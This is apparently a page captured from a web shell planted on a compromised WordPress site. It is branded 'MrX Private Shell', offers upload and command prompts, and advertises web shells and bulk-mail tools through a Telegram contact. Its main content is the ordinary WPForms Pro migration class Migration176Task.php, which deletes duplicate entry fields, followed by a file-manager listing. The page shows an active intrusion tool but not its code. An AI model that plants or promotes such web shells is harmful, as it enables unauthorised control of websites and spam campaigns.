__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Pro\Tasks\Actions;

use WPForms\Tasks\Meta;
use WPForms\Tasks\Task;
use WPForms\Tasks\Tasks;
use WPForms_Entry_Fields_Handler;

/**
 * Class Migration176Task.
 *
 * @since 1.7.6
 */
class Migration176Task extends Task {

	/**
	 * Action name for this task.
	 *
	 * @since 1.7.6
	 */
	const ACTION = 'wpforms_process_migration_176';

	/**
	 * Status option name.
	 *
	 * @since 1.7.6
	 */
	const STATUS = 'wpforms_process_migration_176_status';

	/**
	 * Start status.
	 *
	 * @since 1.7.6
	 */
	const START = 'start';

	/**
	 * In progress status.
	 *
	 * @since 1.7.6
	 */
	const IN_PROGRESS = 'in progress';

	/**
	 * Completed status.
	 *
	 * @since 1.7.6
	 */
	const COMPLETED = 'completed';

	/**
	 * Chunk size to use.
	 * Specifies how many entries to load for scanning in one db request.
	 * Affects memory usage.
	 *
	 * @since 1.7.6
	 */
	const CHUNK_SIZE = 50;

	/**
	 * Entry fields handler.
	 *
	 * @since 1.7.6
	 *
	 * @var WPForms_Entry_Fields_Handler
	 */
	private $entry_fields_handler;

	/**
	 * Class constructor.
	 *
	 * @since 1.7.6
	 */
	public function __construct() {

		parent::__construct( self::ACTION );
	}

	/**
	 * Initialize the task with all the proper checks.
	 *
	 * @since 1.7.6
	 */
	public function init() {

		$this->entry_fields_handler = wpforms()->obj( 'entry_fields' );

		if ( ! $this->entry_fields_handler ) {
			return;
		}

		// Bail out if migration is not started or completed.
		$status = get_option( self::STATUS );

		if ( ! $status || $status === self::COMPLETED ) {
			return;
		}

		// Mark that migration is in progress.
		update_option( self::STATUS, self::IN_PROGRESS );

		$this->hooks();

		$tasks = wpforms()->obj( 'tasks' );

		// Add new if none exists.
		if ( $tasks->is_scheduled( self::ACTION ) !== false ) {
			return;
		}

		// Init migration.
		$this->init_migration( $tasks );
	}

	/**
	 * Add hooks.
	 *
	 * @since 1.7.6
	 */
	private function hooks() {

		// Register the migrate action.
		add_action( self::ACTION, [ $this, 'migrate' ] );

		// Register after process queue action.
		add_action( 'action_scheduler_after_process_queue', [ $this, 'after_process_queue' ] );
	}

	/**
	 * Migrate.
	 *
	 * @since 1.7.6
	 *
	 * @param int $meta_id Action meta id.
	 */
	public function migrate( $meta_id ) {

		$params = ( new Meta() )->get( $meta_id );

		if ( ! $params ) {
			return;
		}

		list( $duplicated_fields ) = $params->data;

		foreach ( $duplicated_fields as $row ) {
			if ( ! isset( $row['form_id'], $row['entry_id'], $row['field_id'] ) ) {
				continue;
			}

			$this->drop_duplicated_fields( $row['form_id'], $row['entry_id'], $row['field_id'] );
		}
	}

	/**
	 * Get the field row ID.
	 *
	 * @since 1.7.6
	 *
	 * @param int $form_id  Form ID.
	 * @param int $entry_id Entry ID.
	 * @param int $field_id Field ID.
	 *
	 * @return int
	 */
	private function get_row_id( $form_id, $entry_id, $field_id ) {

		$fields = $this->entry_fields_handler->get_fields(
			[
				'number'   => 1,
				'form_id'  => $form_id,
				'entry_id' => $entry_id,
				'field_id' => $field_id,
				'order'    => 'DESC',
			]
		);

		return ! empty( $fields[0] ) ? (int) $fields[0]->id : 0;
	}

	/**
	 * Drop duplicated fields.
	 *
	 * @since 1.7.6
	 *
	 * @param int $form_id  Form ID.
	 * @param int $entry_id Entry ID.
	 * @param int $field_id Field ID.
	 */
	private function drop_duplicated_fields( $form_id, $entry_id, $field_id ) {

		$row_id = $this->get_row_id( $form_id, $entry_id, $field_id );

		if ( ! $row_id ) {
			return;
		}

		global $wpdb;
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM ' . esc_sql( $this->entry_fields_handler->table_name ) .
				' WHERE form_id = %d
				AND entry_id = %d
				AND field_id = %d
				AND id < %d',
				$form_id,
				$entry_id,
				$field_id,
				$row_id
			)
		);
	}

	/**
	 * After process queue action.
	 * Set status as completed.
	 *
	 * @since 1.7.6
	 * @noinspection PhpUndefinedFunctionInspection
	 */
	public function after_process_queue() {

		if ( as_has_scheduled_action( self::ACTION ) ) {
			return;
		}

		// Mark that migration is finished.
		update_option( self::STATUS, self::COMPLETED );
	}

	/**
	 * Init migration.
	 *
	 * @since 1.7.6
	 *
	 * @param Tasks $tasks Tasks class instance.
	 */
	private function init_migration( $tasks ) {

		// This part of the migration shouldn't take more than 1 second even on big sites.
		$duplicated_fields = $this->get_duplicated_entry_fields();

		if ( ! $duplicated_fields ) {
			// Mark that migration is completed.
			update_option( self::STATUS, self::COMPLETED );

			return;
		}

		/**
		 * This part of the migration can take a while.
		 * Saving hundreds of entries with a potentially very high number of entry fields could be time and memory consuming.
		 * That is why we perform save via Action Scheduler.
		 */
		$entry_id_chunks = array_chunk( $duplicated_fields, self::CHUNK_SIZE, true );

		foreach ( $entry_id_chunks as $entry_id_chunk ) {
			$tasks->create( self::ACTION )->async()->params( $entry_id_chunk )->register();
		}
	}

	/**
	 * Get duplicated fields list.
	 *
	 * @since 1.7.6
	 *
	 * @return int[]
	 */
	private function get_duplicated_entry_fields() {

		global $wpdb;

		$entry_fields = wpforms()->obj( 'entry_fields' );

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		$duplicated_fields = $wpdb->get_results(
			'SELECT form_id, field_id, entry_id, COUNT(*) as count
			FROM ' . esc_sql( $entry_fields->table_name ) . '
			GROUP BY form_id, entry_id, field_id
			HAVING count > 1',
			ARRAY_A
		);

		if ( ! $duplicated_fields || ! is_array( $duplicated_fields ) ) {
			return [];
		}

		return $duplicated_fields;
	}
}

Filemanager

Name Type Size Permission Actions
EntryEmailCSVCleanupTask.php File 6.79 KB 0640
Migration176Task.php File 5.69 KB 0640
Migration190Task.php File 5.51 KB 0640
MigrationPaymentEntriesTask.php File 14.45 KB 0640
PurgeTemplateEntryTask.php File 3.42 KB 0640
Filemanager